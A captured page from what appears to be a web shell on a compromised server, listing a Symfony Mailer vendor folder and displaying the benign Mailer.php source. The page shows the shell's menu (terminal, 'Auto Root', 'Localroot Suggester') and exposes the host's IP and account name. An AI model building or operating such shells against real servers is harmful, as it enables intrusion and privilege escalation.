Linux sg77.dns-private.com 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
LiteSpeed
Server IP : 135.181.230.13 & Your IP : 216.73.216.199
Domains :
Cant Read [ /etc/named.conf ]
User : pilasate
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
pilasate /
schoolms /
vendor /
symfony /
mailer /
Delete
Unzip
Name
Size
Permission
Date
Action
Command
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
DataCollector
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Event
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
EventListener
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Exception
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Header
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Messenger
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Test
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
Transport
[ DIR ]
drwxrwxrwx
2025-03-23 13:35
CHANGELOG.md
4.08
KB
-rw-rw-rw-
2025-01-27 00:08
DelayedEnvelope.php
2.36
KB
-rw-rw-rw-
2025-01-27 00:08
Envelope.php
3.55
KB
-rw-rw-rw-
2025-01-27 00:08
LICENSE
1.04
KB
-rw-rw-rw-
2025-01-27 00:08
Mailer.php
2.63
KB
-rw-rw-rw-
2025-01-27 00:08
MailerInterface.php
768
B
-rw-rw-rw-
2025-01-27 00:08
README.md
2.46
KB
-rw-rw-rw-
2025-01-27 00:08
SentMessage.php
2.02
KB
-rw-rw-rw-
2025-01-27 00:08
Transport.php
7.64
KB
-rw-rw-rw-
2025-01-27 00:08
composer.json
1.29
KB
-rw-rw-rw-
2025-01-27 00:08
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer; use Psr\EventDispatcher\EventDispatcherInterface; use Symfony\Component\Mailer\Event\MessageEvent; use Symfony\Component\Mailer\Exception\TransportExceptionInterface; use Symfony\Component\Mailer\Messenger\SendEmailMessage; use Symfony\Component\Mailer\Transport\TransportInterface; use Symfony\Component\Messenger\Exception\HandlerFailedException; use Symfony\Component\Messenger\MessageBusInterface; use Symfony\Component\Mime\RawMessage; /** * @author Fabien Potencier <fabien@symfony.com> */ final class Mailer implements MailerInterface { public function __construct( private TransportInterface $transport, private ?MessageBusInterface $bus = null, private ?EventDispatcherInterface $dispatcher = null, ) { } public function send(RawMessage $message, ?Envelope $envelope = null): void { if (null === $this->bus) { $this->transport->send($message, $envelope); return; } $stamps = []; if (null !== $this->dispatcher) { // The dispatched event here has `queued` set to `true`; the goal is NOT to render the message, but to let // listeners do something before a message is sent to the queue. // We are using a cloned message as we still want to dispatch the **original** message, not the one modified by listeners. // That's because the listeners will run again when the email is sent via Messenger by the transport (see `AbstractTransport`). // Listeners should act depending on the `$queued` argument of the `MessageEvent` instance. $clonedMessage = clone $message; $clonedEnvelope = null !== $envelope ? clone $envelope : Envelope::create($clonedMessage); $event = new MessageEvent($clonedMessage, $clonedEnvelope, (string) $this->transport, true); $this->dispatcher->dispatch($event); $stamps = $event->getStamps(); if ($event->isRejected()) { return; } } try { $this->bus->dispatch(new SendEmailMessage($message, $envelope), $stamps); } catch (HandlerFailedException $e) { foreach ($e->getWrappedExceptions() as $nested) { if ($nested instanceof TransportExceptionInterface) { throw $nested; } } throw $e; } } }